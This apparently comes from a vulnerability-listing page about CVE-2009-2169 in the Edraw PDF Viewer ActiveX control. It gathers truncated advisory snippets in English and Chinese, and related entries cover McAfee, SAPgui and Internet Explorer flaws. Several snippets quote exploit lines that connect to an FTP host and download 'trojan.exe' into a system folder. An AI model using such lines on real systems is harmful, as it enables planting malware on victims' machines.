CVE-2009-2169

Insecure method vulnerability in the PDFVIEWER.PDFViewerCtrl.1 ActiveX control pdfviewer.ocx in Edraw PDF Viewer Component before 3.2.0.126 allows remote attackers to create and overwrite arbitrary files via a URL argument to the FtpConnect argument and a target filename argument to the...

Edraw PDF Viewer Component任意文件上传漏洞

BUGTRAQ ID: 35428 Edraw PDF Viewer Component是轻型的ActiveX空间，允许应用程序显示和操作PDF文件。 PDFVIEWER.PDFViewerCtrl.1 ActiveX控件（pdfviewer.ocx）所提供的FtpDownloadFile方式没有正确地验证用户所提供的输入参数，如果用户受骗访问了恶意网页，就可能向系统上的任意位置下载文件。 EDraw PDF Viewer Component 3.2 临时解决方法： 为clsid：44A8091F-8F01-43B7-8CF7-4BBA71E61E04设置kill bit。 厂商补丁：...

[Full-disclosure] Edraw PDF Viewer Component ActiveX Remote code execution vulnerability

Edraw PDF Viewer Component ActiveX Remote code execution vulnerability By Jambalaya of Nevis Labs Date: 2009.06.16 Vender: EdrawSoft Affected: Edraw PDF Viewer Component 3.2.0.126 other version may also be affected Overview: "Edraw PDF Viewer Component is a light weight ActiveX Control which...

Edraw PDF Viewer ActiveX unauthorized access

FtpConnect method allowd to upload any file to any location...

Edraw PDF Viewer Component Code Execution

Edraw PDF Viewer Component ActiveX Remote code execution vulnerability By Jambalaya of Nevis Labs Date: 2009.06.16 Vender: EdrawSoft Affected: Edraw PDF Viewer Component target.FtpConnect "ftp://192.168.220.201", "test", "tester" target.FtpDownloadF...

Edraw PDF Viewer Component < 3.2.0.126 ActiveX Insecure Method vulnerability

No description provided by source. Edraw PDF Viewer Component ActiveX Remote code execution vulnerability By Jambalaya of Nevis Labs Date: 2009.06.16 Vender: EdrawSoft Affected: Edraw PDF Viewer Component 3.2.0.126 other version may also be affected Overview: "Edraw PDF Viewer Component is a ligh...

Edraw PDF Viewer Component 3.2.0.126 - ActiveX Insecure Method

Edraw PDF Viewer Component 3.2.0.126 - ActiveX Insecure Method Edraw PDF Viewer Component ActiveX Remote code execution vulnerability By Jambalaya of Nevis Labs Date: 2009.06.16 Vender: EdrawSoft Affected: Edraw PDF Viewer Component target.FtpConnect "ftp://192.168.220.201", "test", "tester"...

Edraw PDF Viewer Component < 3.2.0.126 - ActiveX Insecure Method

Edraw PDF Viewer Component ActiveX Remote code execution vulnerability By Jambalaya of Nevis Labs Date: 2009.06.16 Vender: EdrawSoft Affected: Edraw PDF Viewer Component target.FtpConnect "ftp://192.168.220.201", "test", "tester" target.FtpDownloadFile "trojan.exe", "C:\Documents and Settings\All...

Edraw PDF Viewer Component &lt; 3.2.0.126 ActiveX Insecure Method Vuln

No description provided by source. Edraw PDF Viewer Component ActiveX Remote code execution vulnerability By Jambalaya of Nevis Labs Date: 2009.06.16 Vender: EdrawSoft Affected: Edraw PDF Viewer Component 3.2.0.126 other version may also be affected Overview: "Edraw PDF Viewer Component is a ligh...

Edraw PDF Viewer Component < 3.2.0.126 ActiveX Insecure Method Vuln

Exploit for windows platform in category remote exploits =================================================================== Edraw PDF Viewer Component object classid="clsid:44A8091F-8F01-43B7-8CF7-4BBA71E61E04" id=...

iDefense COMRaider - ActiveX Control Multiple Insecure Method Vulnerabilities

iDefense COMRaider - ActiveX Control Multiple Insecure Method Vulnerabilities source: https://www.securityfocus.com/bid/35725/info The iDefense COMRaider ActiveX control is prone to multiple insecure-method vulnerabilities. Successfully exploiting these issues allows remote attackers to create...

McAfee 3.6.0.608 naPolicyManager.dll ActiveX Arbitrary Data Write Vuln

No description provided by source. GOODFELLAS Security Research TEAM http://goodfellas.shellcode.com.ar Greetings to str0ke McAfee, Inc. 3.6.0.608 Policy Manager naPolicyManager.dll Arbitrary Data Write ============================================================================== Internal ID:...

iDefense COMRaider - ActiveX Control Multiple Insecure Method Vulnerabilities

source: https://www.securityfocus.com/bid/35725/info The iDefense COMRaider ActiveX control is prone to multiple insecure-method vulnerabilities. Successfully exploiting these issues allows remote attackers to create arbitrary directories and copy arbitrary local files. This may lead to a...

Integrity Clientless Security (ICS) Update 3.7.267.0

Check Point Integrity ™ Clientless Security ICS protects your Web site by detecting and disabling spyware processes and allowing you to enforce security policies before a user logs onto your network. Using ICS you can prevent users with potentially harmful software from accessing your Web site, a...

McAfee 3.6.0.608 naPolicyManager.dll ActiveX Arbitrary Data Write Vuln

Exploit for windows platform in category remote exploits ====================================================================== McAfee 3.6.0.608 naPolicyManager.dll ActiveX Arbitrary Data Write Vuln ====================================================================== McAfee, Inc. 3.6.0.608 Poli...

McAfee 3.6.0.608 - naPolicyManager.dll ActiveX Arbitrary Data Write

McAfee 3.6.0.608 - naPolicyManager.dll ActiveX Arbitrary Data Write GOODFELLAS Security Research TEAM http://goodfellas.shellcode.com.ar Greetings to str0ke McAfee, Inc. 3.6.0.608 Policy Manager naPolicyManager.dll Arbitrary Data Write...

Microsoft IE DHTML和HTML对象多个内存破坏漏洞(MS09-019)

BUGTRAQ ID: 35198,35222,35223,35224,35234,35235 CVECAN ID: CVE-2009-1141,CVE-2009-1528,CVE-2009-1529,CVE-2009-1530,CVE-2009-1531,CVE-2009-1532 Internet Explorer是Windows操作系统中默认捆绑的WEB浏览器。 Internet Explorer在解析网页中的DHTML和HTML对象时存在多个内存破坏和未初始化或已删除对象访问漏洞。如果用户受骗访问了恶意网页，就可能导致拒绝服务或执行任意代码。 Microsoft Internet...

Microsoft IE缓存内容跨域信息泄露漏洞(MS09-019)

BUGTRAQ ID: 35200 CVECAN ID: CVE-2009-1140 Internet Explorer是Windows操作系统中默认捆绑的WEB浏览器。 Internet Explorer缓存数据的方式存在一个信息泄露漏洞，可错误地允许调用缓存内容，从而绕过Internet Explorer区域限制。 Internet Explorer提供了URL安全区域功能，根据可信任程度对网站和应用定义了不同的权限组。默认下，所有不在“本地Intranet”区中且没有明确在 “受限站点”或“可信站点”中所列出的站点都分配到了Internet区域中，默认的安全区设置为“中-高”。...

SAP AG SAPgui sapirrfc.dll ActiveX控件缓冲区溢出漏洞

BUGTRAQ ID: 35256 SAPgui是SAP软件的图形用户界面客户端。 SAP GUI所捆绑的SAPIrRfc ActiveX组件（sapirrfc.dll，GUID = F6908F83-ADA6-11D0-87AA-00AA00198702）没有正确的验证用户对Accept函数所传送的参数。如果用户受骗访问了恶意网页并向该函数传送了超长参数的话，就可能触发缓冲区溢出，导致在目标系统上执行任意代码。 SAP Sapgui 6.4 厂商补丁： SAP --- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

CORE-2008-0826 - Internet Explorer Security Zone restrictions bypass

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ Internet Explorer Security Zone restrictions bypass 1. Advisory Information Title: Internet Explorer Security Zone restrictions bypass Advisory ID: CORE-2008-0826...